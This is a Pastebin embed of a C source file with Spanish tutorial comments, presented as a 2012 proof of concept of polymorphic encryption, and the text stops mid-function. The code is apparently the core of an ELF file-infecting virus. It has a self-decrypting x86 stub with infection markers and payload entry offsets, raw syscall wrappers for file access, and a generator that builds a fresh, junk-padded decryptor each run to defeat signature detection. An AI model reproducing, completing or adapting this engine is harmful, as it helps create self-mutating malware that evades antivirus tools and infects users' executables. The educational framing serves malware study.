document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2.  *    Prueba de concepto: cifrado con código polimórfico.
  3.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  4.  *
  5.  *    This program is free software: you can redistribute it and/or modify
  6.  *    it under the terms of the GNU General Public License as published by
  7.  *    the Free Software Foundation, either version 3 of the License, or
  8.  *    (at your OPERATION) any later version.
  9.  *
  10.  *    This program is distributed in the hope that it will be useful,
  11.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  12.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13.  *    GNU General Public License for more details.
  14.  *
  15.  *    You should have received a copy of the GNU General Public License
  16.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  17.  */
  18.  
  19. #include <sys/syscall.h>
  20. #include <sys/types.h>
  21. #include <elf.h>
  22. #include <stdint.h>
  23. #include <stdlib.h>
  24. #include <alloca.h>
  25.  
  26. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  27.  
  28.  
  29. /* Los includes pueden llegar a ser muy molestos. */
  30. #define O_RDWR                02
  31.  
  32. # define SEEK_SET             0       /* Seek from beginning of file.  */
  33. # define SEEK_CUR             1       /* Seek from current position.  */
  34. # define SEEK_END             2       /* Seek from end of file.  */
  35.  
  36.  
  37. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  38.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  39.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  40.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  41.    coincidencia).
  42.    
  43.    Para separar la rutina de desencriptado en el relleno del segmento de
  44.    texto del resto del código, he utilizado el marcador GURB, que también
  45.    es complicado de encontrar en cualquier binario.  */
  46.    
  47. #define BOTTOM_MARKER_LOW  0x504b
  48. #define BOTTOM_MARKER_HIGH 0x5841
  49. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  50. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  51. #define MIDDLE_MARKER_LOW  0x5547
  52. #define MIDDLE_MARKER_HIGH 0x4252
  53. #define MIDDLE_MARKER      0x42525547
  54. #define BOTTOM_MARKER      0x5841504b
  55. #define TOP_MARKER         BOTTOM_MARKER
  56. #define NOT_INFECTED_MAGIC 0xaaaaaaaa
  57.  
  58. #define RETADDR_OFFSET     1
  59. #define CRYPTO_ADDR_OFFSET 7
  60. #define CRYPTO_SEED_OFFSET 12
  61. #define PAYLOAD_EP_OFFSET  36
  62.  
  63. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  64. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  65.    sustituirá por la cadena "palabra" */
  66.    
  67. #define _STRINGIFY(x) #x
  68. #define STRINGIFY(x) _STRINGIFY (x)
  69.  
  70. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  71.    el flag "a" le obliga a que la sección se cargue en memoria */
  72.    
  73. asm (".section .code_bottom, \\"xa\\"");
  74. asm (".long " STRINGIFY (BOTTOM_MARKER));
  75. asm ("crypto_entry:");
  76. asm ("  push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la dirección de retorno */
  77. asm ("  pusha");
  78. asm ("  push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la dirección virtual a descifrar */
  79. asm ("  push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la semilla */
  80. asm ("  call insitu_decrypt");
  81. asm ("  add $4, %esp");
  82. asm ("  pop %eax");
  83. asm ("  addl $" STRINGIFY (PAYLOAD_EP_OFFSET) ", %eax");
  84. asm ("  call *%eax");
  85. asm ("  popa");
  86. asm ("  ret");
  87. asm ("decrypted_entry:");
  88. asm ("  jmp payload"); /* Este es el punto de entrada del código desencriptado */
  89.  
  90.  
  91. inline void insitu_decrypt (int, uint32_t) __attribute__ ((section (".code_bottom")));
  92. inline char lfsr (int *);
  93.  
  94. inline void
  95. insitu_decrypt (int seed, uint32_t addr_start)
  96. {
  97.   uint32_t addr_end;
  98.  
  99.   addr_end = addr_start + 8191; /* supondremos que el código cabe en una página */
  100.   char *ptr = NULL;
  101.  
  102.   for (; addr_start <= addr_end; addr_start++)
  103.     ptr[addr_start] ^= lfsr (&seed);
  104. }
  105.  
  106.  
  107. inline char
  108. lfsr (int *reg)
  109. {
  110.   unsigned int tmp;
  111.   char result;
  112.  
  113.   /* I\'m taking these taps:
  114.      3 29 */
  115.   tmp = *reg;
  116.   tmp >>= 1;
  117.   tmp |= (!!(*reg & (1 << 2)) ^ !!(*reg & (1 << 28)) ^ 1) << 31;
  118.  
  119.   return (*reg = tmp) >> 8;
  120. }
  121.  
  122. asm (".section .text");
  123. asm (".long " STRINGIFY (MIDDLE_MARKER));
  124. asm (".section .code_top, \\"xa\\"");
  125. asm (".long " STRINGIFY (TOP_MARKER));
  126.  
  127.  
  128. /* Vamos a necesitar, por lo menos, todas estas syscalls:
  129.    write, read, open, close y lseek  */
  130. int
  131. write (int fd, const void *buf, int size)
  132. {
  133.   int ret;
  134.  
  135.   asm volatile ("xchg %%ebx, %%esi\\n"
  136.                  "int $0x80\\n"
  137.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  138.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  139.    
  140.   return ret;
  141. }
  142.  
  143. static inline int
  144. read (int fd, void *buf, int size)
  145. {
  146.   int ret;
  147.  
  148.   asm volatile ("xchg %%ebx, %%esi\\n"
  149.                  "int $0x80\\n"
  150.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  151.                  "a" (__NR_read), "S" (fd), "c" (buf), "d" (size)  :
  152.                  "memory"); /* read modifica la memoria */
  153.    
  154.   return ret;
  155. }
  156.  
  157.  
  158. static inline unsigned int
  159. times (void)
  160. {
  161.   int ret;
  162.  
  163.   asm volatile ("push %%ebx\\n"
  164.                  "xor %%ebx, %%ebx\\n"
  165.                  "int $0x80\\n"
  166.                  "pop %%ebx" : "=a" (ret) :
  167.                  "a" (__NR_times) );
  168.    
  169.   return ret;
  170. }
  171.  
  172. static inline int
  173. lseek (int fd, int offset, int whence)
  174. {
  175.   int ret;
  176.  
  177.   asm volatile ("xchg %%ebx, %%esi\\n"
  178.                  "int $0x80\\n"
  179.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  180.                  "a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
  181.    
  182.   return ret;
  183. }
  184.  
  185. static int
  186. open (const char *path, int mode)
  187. {
  188.   int ret;
  189.  
  190.   asm volatile ("xchg %%ebx, %%esi\\n"
  191.                  "int $0x80\\n"
  192.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  193.                  "a" (__NR_open), "S" (path), "c" (mode));
  194.    
  195.   return ret;
  196. }
  197.  
  198. static int
  199. close (int fd)
  200. {
  201.   int ret;
  202.  
  203.   asm volatile ("xchg %%ebx, %%esi\\n"
  204.                  "int $0x80\\n"
  205.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  206.                  "a" (__NR_close), "S" (fd));
  207.    
  208.   return ret;
  209. }
  210.  
  211. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  212.    muy útil para depurar. */
  213. void
  214. long2hex (unsigned int number, char *buf)
  215. {
  216.   int i;
  217.   char hexa[] = "0123456789abcdef";
  218.  
  219.   buf[8] = 0;
  220.  
  221.   for (i = 0; i < 8; i++)
  222.   {
  223.     buf[7 - i] = hexa[number & 0xf];
  224.     number >>= 4;
  225.   }
  226. }
  227.  
  228. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  229.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  230.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  231.    hacia arriba o hacia abajo hasta encontrarlos */
  232.    
  233. void
  234. get_code_limits (uint32_t *bottom, uint32_t *middle, uint32_t *top)
  235. {
  236.   int i;
  237.   uint32_t this_addr;
  238.  
  239.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  240.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  241.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  242.      inline assembly de GCC */
  243.      
  244.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  245.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  246.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  247.      a un cacho de código que no está especialmente diferenciado del resto. */
  248.      
  249.   asm volatile ("call 1f\\n"
  250.                  "1:\\n"
  251.                  "popl %0\\n" : "=g" (this_addr));
  252.                  
  253.  
  254.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  255.      últimos bits a cero. */
  256.      
  257.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  258.                       this_addr = this_addr & 0xfffffffc que es un and
  259.                       en binario con todo 1 menos los dos últimos bits,
  260.                       esto fuerza a que el número esté alineado a 4. */
  261.  
  262.  
  263.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  264.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  265.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  266.      
  267.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  268.      restando. */
  269.      
  270.   for (i = this_addr; ; i -= 4)
  271.   {
  272.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  273.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  274.       {
  275.         *bottom = i;
  276.         break;
  277.       }
  278.   }
  279.  
  280.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  281.      nuestra memoria hacia adelante, sumando. */
  282.   for (i = this_addr; ; i += 4)
  283.   {
  284.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  285.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  286.       {
  287.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  288.                          4 bytes) también pertenece al código. */
  289.         break;
  290.       }
  291.   }
  292.  
  293.   /* Y búsqueda por último del marcador medio. */
  294.   for (i = this_addr; ; i -= 4)
  295.   {
  296.     if (*(uint16_t *) i == MIDDLE_MARKER_LOW) /* Primero la parte alta */
  297.       if (*(uint16_t *) (i + 2) == MIDDLE_MARKER_HIGH) /* Y luego la baja */
  298.       {
  299.         *middle = i;
  300.         break;
  301.       }
  302.   }
  303.  
  304. }
  305.  
  306. /* He aquí el generador polimórfico. Como dije, es algo inocente, pero servirá.
  307.    para ilustrar el concepto general del funcionamiento de este tipo de técnica.*/
  308.  
  309. /* El código que tenemos que ofuscar es este:
  310.    
  311.   080480fc <crypto_entry>:
  312.    80480fc:       68 aa aa aa aa          push   $0xaaaaaaaa
  313.    8048101:       60                      pusha
  314.    8048102:       68 aa aa aa aa          push   $0xaaaaaaaa
  315.    8048107:       68 aa aa aa aa          push   $0xaaaaaaaa
  316.    804810c:       e8 10 00 00 00          call   8048121 <insitu_decrypt>
  317.    8048111:       83 c4 04                add    $0x4,%esp
  318.    8048114:       58                      pop    %eax
  319.    8048115:       83 c0 24                add    $0x24,%eax
  320.    8048118:       ff d0                   call   *%eax
  321.    804811a:       61                      popa
  322.    804811b:       c3                      ret
  323.  
  324.   08048121 <insitu_decrypt>:
  325.    8048121:       57                      push   %edi
  326.    8048122:       56                      push   %esi
  327.    8048123:       8b 54 24 0c             mov    0xc(%esp),%edx
  328.    8048127:       8b 44 24 10             mov    0x10(%esp),%eax
  329.    804812b:       8d b8 ff 1f 00 00       lea    0x1fff(%eax),%edi
  330.    8048133:       39 f8                   cmp    %edi,%eax
  331.    8048135:       77 2e                   ja     8048165 <insitu_decrypt+0x44>
  332.    8048137:       89 d6                   mov    %edx,%esi
  333.    8048139:       d1 ee                   shr    %esi
  334.    804813b:       f6 c2 04                test   $0x4,%dl
  335.    804813e:       0f 95 c1                setne  %cl
  336.    8048141:       0f b6 c9                movzbl %cl,%ecx
  337.    8048144:       f7 c2 00 00 00 10       test   $0x10000000,%edx
  338.    804814a:       0f 94 c2                sete   %dl
  339.    804814d:       0f b6 d2                movzbl %dl,%edx
  340.    8048150:       31 d1                   xor    %edx,%ecx
  341.    8048152:       c1 e1 1f                shl    $0x1f,%ecx
  342.    8048155:       09 f1                   or     %esi,%ecx
  343.    8048157:       89 ca                   mov    %ecx,%edx
  344.    8048159:       c1 f9 08                sar    $0x8,%ecx
  345.    804815c:       30 08                   xor    %cl,(%eax)
  346.    804815e:       83 c0 01                add    $0x1,%eax
  347.    8048161:       39 c7                   cmp    %eax,%edi
  348.    8048163:       73 d2                   jae    8048137 <insitu_decrypt+0x16>
  349.    8048165:       5e                      pop    %esi
  350.    8048166:       5f                      pop    %edi
  351.    8048167:       c3                      ret
  352. */
  353.  
  354. #define POLYMORPHIC_ACTION_PUSH    1
  355. #define POLYMORPHIC_ACTION_INST    2
  356. #define POLYMORPHIC_ACTION_FIX     3
  357. #define POLYMORPHIC_ACTION_JAE     4
  358. #define POLYMORPHIC_ACTION_JA      5
  359. #define POLYMORPHIC_ACTION_CALL    6
  360.  
  361. #define STRATEGY_OPERATION_ADD        0
  362. #define STRATEGY_OPERATION_SUB        1
  363. #define STRATEGY_OPERATION_XOR        2
  364. #define STRATEGY_OPERATION_ROR        3
  365. #define STRATEGY_OPERATION_ROL        4
  366. #define MAX_STRATEGY_OPERATIONS    5
  367.  
  368. #define MAX_STRATEGY_SIZE          8
  369.  
  370. #define REG_EAX                    0
  371. #define REG_EBX                    1
  372. #define REG_ECX                    2
  373. #define REG_EDX                    3
  374. #define REG_ESI                    4
  375. #define REG_EDI                    5
  376. #define REG_EBP                    6
  377. #define MAX_REGS                   7
  378.  
  379. #define INST_PAD_NONE              0 /* Sin relleno */
  380. #define INST_PAD_NOP               1 /* Relleno con 1 nop */
  381. #define INST_PAD_ADD               2 /* Add + Sub (12 bytes) */
  382. #define INST_PAD_SUB               3 /* Sub + Add (12 bytes) */
  383. #define INST_PAD_XOR               4 /* Xor + Xor (12 bytes) */
  384. #define INST_PAD_ROR               5 /* Ror + Rol (6 bytes) */
  385. #define INST_PAD_ROL               6 /* Rol + Ror (6 bytes) */
  386. #define INST_PAD_PUSHPOP           7 /* Push + pop (2 bytes) */
  387.  
  388. #define MAX_PAD_TYPES              8
  389.  
  390.  
  391. #define ROR(what, times)  __asm__ __volatile__ ("rorl %%cl, %%eax" : "=a" (what) : "c" (times), "a" (what))
  392. #define ROL(what, times)  __asm__ __volatile__ ("roll %%cl, %%eax" : "=a" (what) : "c" (times), "a" (what))
  393. #define FAST_MEMCPY(to, from, size)  \\
  394.   asm volatile ("push %%ecx\\npush %%esi\\npush %%edi\\nrep movsb\\npopl %%edi\\npopl %%esi\\npopl %%ecx" ::       \\
  395.   "S" (from), "D" (to), "c" (size) : "memory")
  396.  
  397. struct polymorphic_action
  398. {
  399.   int type;
  400.   int subtype; /* Esto para los calls, jmps e instrucciones, tiene
  401.                    varios significados */
  402.   int size;
  403.   uint32_t value;
  404.  
  405.   int reg;
  406.   uint32_t strategy_ops[MAX_STRATEGY_SIZE];
  407.   uint32_t strategy_params[MAX_STRATEGY_SIZE];
  408.   char bytes[8]; /* Esto es para las instrucciones */
  409.   off_t offset; /* Esto lo utilizaré para calcular los desplazamientos de los jmps */
  410. };
  411.  
  412. size_t
  413. estimate_action_size (struct polymorphic_action *action)
  414. {
  415.   size_t size = 0;
  416.   int pad_sizes[] = {0, 1, 12, 12, 12, 6, 6, 2};
  417.   int j;
  418.    
  419.   switch (action->type)
  420.   {
  421.     case POLYMORPHIC_ACTION_PUSH:
  422.       if (action->size == 0)
  423.         size += 5; /* pushl IMM */
  424.       else
  425.       {
  426.         size += 6;
  427.         /* movl IMM, reg + push reg */
  428.         for (j = 0; j < action->size; j++)
  429.           if (action->strategy_ops[j] <= STRATEGY_OPERATION_XOR)
  430.             size += 6; /* Los XOR/ADD/SUB ocupan 6 bytes */
  431.           else
  432.             size += 3; /* Los ROR / ROL sólo 3 */
  433.       }
  434.      
  435.       break;
  436.      
  437.     case POLYMORPHIC_ACTION_CALL:
  438.       size += action->subtype ? 15 : 5; /* El call ofuscado es bastante grande */
  439.       break;
  440.    
  441.     case POLYMORPHIC_ACTION_JA:
  442.     case POLYMORPHIC_ACTION_JAE:
  443.       size += 6;
  444.       break;
  445.    
  446.     case POLYMORPHIC_ACTION_FIX:
  447.       size += action->size;
  448.       break;
  449.      
  450.     case POLYMORPHIC_ACTION_INST:
  451.       size += action->size + pad_sizes[action->subtype];
  452.   }
  453.  
  454.   return size;
  455. }
  456.  
  457. size_t
  458. polymorphic_update_offsets (struct polymorphic_action *list, int num)
  459. {
  460.   size_t size = 0;
  461.   int i;
  462.  
  463.   for (i = 0; i < num; i++)
  464.   {
  465.     list[i].offset = size;
  466.     size += estimate_action_size (list + i);
  467.   }
  468.    
  469.   return size;
  470. }
  471.  
  472. int
  473. gen_decryptor (int crypseed, uint32_t ret_addr, uint32_t seg_addr, size_t max_size, char *buffer)
  474. {
  475.   int i;
  476.   int j;
  477.   int seed;
  478.   int list_size;
  479.   char reg_cpu_idx[] = {0, 3, 1, 2, 6, 7, 5};
  480.   char clear_regs[]  = {0xc0, 0xdb, 0xc9, 0xd2, 0xf6, 0xff, 0xed};
  481.  
  482.   off_t tmp;
  483.   char sbuffer[9];
  484.  
  485.   size_t total_size;
  486.   off_t p;
  487.  
  488.   struct polymorphic_action old;
  489.   struct polymorphic_action template[] =
  490.     {
  491.       {POLYMORPHIC_ACTION_PUSH, 0, 0, ret_addr, 0, {}, {}, {}    , 0},
  492.       {POLYMORPHIC_ACTION_INST, 0, 1,        0, 0, {}, {}, "\\x60", 0},
  493.       {POLYMORPHIC_ACTION_PUSH, 0, 0, seg_addr, 0, {}, {}, {}    , 0},
  494.       {POLYMORPHIC_ACTION_PUSH, 0, 0, crypseed, 0, {}, {}, {}    , 0},
  495.       {POLYMORPHIC_ACTION_CALL, 0, 0,       11, 0, {}, {}, {}    , 0}, /* call insitu decrypt */
  496.       {POLYMORPHIC_ACTION_INST, 0, 3,        0, 0, {}, {}, "\\x83\\xc4\\x04", 0},
  497.       {POLYMORPHIC_ACTION_INST, 0, 1,        0, 0, {}, {}, "\\x58", 0},
  498.       {POLYMORPHIC_ACTION_INST, 0, 3,        0, 0, {}, {}, "\\x83\\xc0\\x24", 0},
  499.       {POLYMORPHIC_ACTION_INST, 0, 2,        0, 0, {}, {}, "\\xff\\xd0", 0},
  500.       {POLYMORPHIC_ACTION_INST, 0, 1,        0, 0, {}, {}, "\\x61", 0},
  501.       {POLYMORPHIC_ACTION_INST, 0, 1,        0, 0, {}, {}, "\\xc3", 0},
  502.      
  503.       /* insitu_decrypt comienza aquí:*/
  504.       {POLYMORPHIC_ACTION_INST, 0, 1,        0, 0, {}, {}, "\\x57", 0},
  505.       {POLYMORPHIC_ACTION_INST, 0, 1,        0, 0, {}, {}, "\\x56", 0},
  506.       {POLYMORPHIC_ACTION_INST, 0, 4,        0, 0, {}, {}, "\\x8b\\x54\\x24\\x0c", 0},
  507.       {POLYMORPHIC_ACTION_INST, 0, 4,        0, 0, {}, {}, "\\x8b\\x44\\x24\\x10", 0},
  508.       {POLYMORPHIC_ACTION_INST, 0, 6,        0, 0, {}, {}, "\\x8d\\xb8\\xff\\x1f\\x00\\x00", 0},
  509.       {POLYMORPHIC_ACTION_FIX , 0, 2,        0, 0, {}, {}, "\\x39\\xf8", 0},
  510.       {POLYMORPHIC_ACTION_JA  , 0, 1,       35, 0, {}, {}, {}}, /* First JA */
  511.       {POLYMORPHIC_ACTION_INST, 0, 2,        0, 0, {}, {}, "\\x89\\xd6", 0},
  512.       {POLYMORPHIC_ACTION_INST, 0, 2,        0, 0, {}, {}, "\\xd1\\xee", 0},
  513.       {POLYMORPHIC_ACTION_FIX, 0, 3,        0, 0, {}, {}, "\\xf6\\xc2\\x04", 0},
  514.       {POLYMORPHIC_ACTION_INST, 0, 3,        0, 0, {}, {}, "\\x0f\\x95\\xc1", 0},
  515.       {POLYMORPHIC_ACTION_INST, 0, 3,        0, 0, {}, {}, "\\x0f\\xb6\\xc9", 0},
  516.       {POLYMORPHIC_ACTION_FIX,  0, 6,        0, 0, {}, {}, "\\xf7\\xc2\\x00\\x00\\x00\\x10", 0},
  517.       {POLYMORPHIC_ACTION_INST, 0, 3,        0, 0, {}, {}, "\\x0f\\x94\\xc2", 0},
  518.       {POLYMORPHIC_ACTION_INST, 0, 3,        0, 0, {}, {}, "\\x0f\\xb6\\xd2", 0},
  519.      
  520.       /* En general, debemos tener cuidado con lo que hacemos después de los test y cmp,
  521.          ya que podemos modificar algún flag importante del procesador sin quererlo,
  522.          modificando con ello el funcionamiento de las instrucciones condicionales,
  523.          como ja, jae, sete o setne. Por eso marco esos test/cmp como FIX. */
  524.          
  525.       {POLYMORPHIC_ACTION_INST, 0, 2,        0, 0, {}, {}, "\\x31\\xd1", 0},
  526.       {POLYMORPHIC_ACTION_INST, 0, 3,        0, 0, {}, {}, "\\xc1\\xe1\\x1f", 0},
  527.       {POLYMORPHIC_ACTION_INST, 0, 2,        0, 0, {}, {}, "\\x09\\xf1", 0},
  528.       {POLYMORPHIC_ACTION_INST, 0, 2,        0, 0, {}, {}, "\\x89\\xca", 0},
  529.       {POLYMORPHIC_ACTION_INST, 0, 3,        0, 0, {}, {}, "\\xc1\\xf9\\x08", 0},
  530.       {POLYMORPHIC_ACTION_INST, 0, 2,        0, 0, {}, {}, "\\x30\\x08", 0},
  531.       {POLYMORPHIC_ACTION_INST, 0, 3,        0, 0, {}, {}, "\\x83\\xc0\\x01", 0},
  532.       {POLYMORPHIC_ACTION_FIX,  0, 2,        0, 0, {}, {}, "\\x39\\xc7", 0},
  533.       {POLYMORPHIC_ACTION_JAE , 0, 0,       18, 0, {}, {}, {}, 0}, /* JAE */
  534.       {POLYMORPHIC_ACTION_INST, 0, 1,        0, 0, {}, {}, "\\x5e", 0},
  535.       {POLYMORPHIC_ACTION_INST, 0, 1,        0, 0, {}, {}, "\\x5f", 0},
  536.       {POLYMORPHIC_ACTION_INST, 0, 1,        0, 0, {}, {}, "\\xc3", 0},      
  537.     };
  538.  
  539.   seed = times ();
  540.    
  541.   /* Primero, vamos a ofuscar todos los PUSH y los CALL. Esto es necesario. */
  542.  
  543.   list_size = sizeof (template) / sizeof (struct polymorphic_action);
  544.  
  545.   for (i = 0; i < list_size; i++)
  546.   {
  547.     switch (template[i].type)
  548.     {
  549.       case POLYMORPHIC_ACTION_PUSH:
  550.         template[i].size = (unsigned int) lfsr (&seed) % MAX_STRATEGY_SIZE;
  551.        
  552.         for (j = 0; j < template[i].size; j++)
  553.         {
  554.           template[i].strategy_ops[j]    = (unsigned int) lfsr (&seed) % MAX_STRATEGY_OPERATIONS;
  555.           template[i].strategy_params[j] = lfsr (&seed);
  556.           template[i].reg                = (unsigned int) lfsr (&seed) % MAX_REGS;
  557.          
  558.           if (i == 0 && template[i].reg == REG_EDX)
  559.           {
  560.             /* Esto por alguna misteriosa razón falla, o sea que vamos
  561.                a mover EDX a EBP */
  562.                
  563.             template[i].reg = REG_EBP;
  564.           }
  565.          
  566.           switch (template[i].strategy_ops[j])
  567.           {
  568.             case STRATEGY_OPERATION_ADD:
  569.               template[i].value += template[i].strategy_params[j];
  570.               break;
  571.            
  572.             case STRATEGY_OPERATION_SUB:
  573.               template[i].value -= template[i].strategy_params[j];
  574.               break;
  575.            
  576.             case STRATEGY_OPERATION_XOR:
  577.               template[i].value ^= template[i].strategy_params[j];
  578.               break;
  579.            
  580.             case STRATEGY_OPERATION_ROR:
  581.               ROR (template[i].value, template[i].strategy_params[j]);
  582.               break;
  583.            
  584.             case STRATEGY_OPERATION_ROL:
  585.               ROL (template[i].value, template[i].strategy_params[j]);
  586.               break;
  587.           }
  588.         }
  589.         break;
  590.      
  591.       case POLYMORPHIC_ACTION_CALL:
  592.         template[i].subtype = lfsr (&seed) & 1;
  593.         template[i].reg     = (unsigned int) lfsr (&seed) % MAX_REGS;
  594.         break;
  595.      
  596.       /* Vamos a barajar dos tipos de call. Un call normal, y un call ofuscado.
  597.          El call ofuscado tiene la siguiente forma:
  598.          
  599.           80483d8:       e8 00 00 00 00          call   80483dd <main+0x9>
  600.           80483dd:       58                      pop    %eax
  601.           80483de:       83 c0 0a                add    $0xa,%eax
  602.           80483e1:       50                      push   %eax
  603.           80483e2:       e9 08 00 00 00          jmp    80483ef <hola>
  604.      
  605.         También es muy inocente, pero ayuda a liar las cosas, y añade una
  606.         variabilidad extra al tamaño del código */
  607.       }
  608.     }
  609.  
  610.   /* ¿Hemos sido capaces de generar un código polimórfico de tamaño deseado */
  611.   if ((total_size = polymorphic_update_offsets (template, list_size)) > max_size)
  612.     return -1; /* No */
  613.  
  614.   /* Ahora es cuando empezamos a enguarrar el código con rellenos de todo tipo hasta que
  615.      simplemente no quepa más. El verdadero algoritmo de mutación es este. */
  616.  
  617.   for (j = 0; j < 10; j++)
  618.   {
  619.     do
  620.       i = (unsigned int) lfsr (&seed) % list_size;
  621.     while (template[i].type != POLYMORPHIC_ACTION_INST);
  622.    
  623.     if (template[i].subtype)
  624.       continue;
  625.    
  626.     j = 0;
  627.    
  628.     old = template[i];
  629.    
  630.     total_size -= estimate_action_size (&old);
  631.    
  632.     template[i].subtype = (unsigned int) lfsr (&seed) % MAX_PAD_TYPES;
  633.     template[i].reg     = (unsigned int) lfsr (&seed) % MAX_REGS;
  634.     template[i].value   = lfsr (&seed);
  635.    
  636.     total_size += estimate_action_size (&template[i]);
  637.    
  638.     /* ¿Esta mutación se pasa de la raya? */
  639.    
  640.     if (total_size > max_size)
  641.     {
  642.       /* Pues sí, es momento de parar */
  643.       template[i] = old;
  644.       break;
  645.     }
  646.   }
  647.  
  648.   /* Y ahora sólo queda compilar esto. Actualizaremos los offsets de paso: */
  649.   (void) polymorphic_update_offsets (template, list_size);
  650.  
  651.   p = 0;
  652.  
  653.   for (i = 0; i < list_size; i++)
  654.   {
  655.     switch (template[i].type)
  656.     {
  657.       case POLYMORPHIC_ACTION_PUSH:
  658.         /* Si el tamaño de la estrategia es cero, es que no hay transformación: */
  659.         if (template[i].size == 0)
  660.         {
  661.           buffer[p++] = 0x68;
  662.           FAST_MEMCPY (&buffer[p], &template[i].value, 4);
  663.           p += 4;
  664.         }
  665.         else /* En caso contrario, hay que deshacer */
  666.         {
  667.           /* Primero, el mov: */
  668.           buffer[p++] = 0xb8 + reg_cpu_idx[template[i].reg];
  669.           /* Y el valor que copiamos */
  670.           FAST_MEMCPY (&buffer[p], &template[i].value, 4);
  671.           p += 4;
  672.          
  673.           /* Ahora, tenemos que recorrer la lista en orden inverso (ya
  674.              que tenemos que deshacer todo esto) */
  675.              
  676.           for (j = template[i].size - 1; j >= 0 ; j--)
  677.           {
  678.             switch (template[i].strategy_ops[j])
  679.             {
  680.               case STRATEGY_OPERATION_ADD:
  681.                 /* El ADD se invierte con un SUB */
  682.                 buffer[p++] = 0x81;
  683.                 buffer[p++] = 0xe8 + reg_cpu_idx[template[i].reg];
  684.                 FAST_MEMCPY (&buffer[p], &template[i].strategy_params[j], 4);
  685.                 p += 4;                
  686.                 break;
  687.              
  688.               case STRATEGY_OPERATION_SUB:
  689.                 /* El SUB se invierte con un ADD */
  690.                 buffer[p++] = 0x81;
  691.                 buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
  692.                 FAST_MEMCPY (&buffer[p], &template[i].strategy_params[j], 4);
  693.                 p += 4;                
  694.                 break;
  695.              
  696.               case STRATEGY_OPERATION_XOR:
  697.                 /* El XOR con XOR */
  698.                 buffer[p++] = 0x81;
  699.                 buffer[p++] = 0xf0 + reg_cpu_idx[template[i].reg];
  700.                 FAST_MEMCPY (&buffer[p], &template[i].strategy_params[j], 4);
  701.                 p += 4;                
  702.                 break;
  703.              
  704.               case STRATEGY_OPERATION_ROR:
  705.                 /* El ROR con ROL */
  706.                 buffer[p++] = 0xc1;
  707.                 buffer[p++] = 0xc0 + reg_cpu_idx[template[i].reg];
  708.                 buffer[p++] = template[i].strategy_params[j];
  709.                 break;
  710.              
  711.               case STRATEGY_OPERATION_ROL:
  712.                 /* Y el ROL con ROR */
  713.                 buffer[p++] = 0xc1;
  714.                 buffer[p++] = 0xc8 + reg_cpu_idx[template[i].reg];
  715.                 buffer[p++] = template[i].strategy_params[j];
  716.                 break;
  717.             }
  718.           }
  719.          
  720.           /* Y finalmente, el PUSH: */
  721.           buffer[p++] = 0x50 + reg_cpu_idx[template[i].reg];
  722.          
  723.           /* Esto es necesario, ya que al arranque todos los
  724.              registros deben permanecer a cero, y este push está antes
  725.              del pusha que salva el estado para poder pasar saltar al
  726.              código del ejecutable */
  727.              
  728.           /*if (i == 0)
  729.           {
  730.             buffer[p++] = 0x31;
  731.             buffer[p++] = clear_regs[template[i].reg];
  732.           }*/
  733.         }
  734.        
  735.         break;
  736.        
  737.       case POLYMORPHIC_ACTION_CALL:
  738.         /* Aquí tenemos que decidir si hacemos el CALL grande o pequeño */
  739.         if (template[i].subtype)
  740.         {
  741.           /* Call grande: */
  742.           /*
  743.                     80483d8:       e8 00 00 00 00          call   80483dd <main+0x9>
  744.                     80483dd:       58                      pop    %eax
  745.                     80483de:       83 c0 0a                add    $0xa,%eax
  746.                     80483e1:       50                      push   %eax
  747.                     80483e2:       e9 08 00 00 00          jmp    80483ef <hola>
  748.            */
  749.           buffer[p++] = 0xe8;
  750.           buffer[p++] = 0x00;
  751.           buffer[p++] = 0x00;
  752.           buffer[p++] = 0x00;
  753.           buffer[p++] = 0x00;
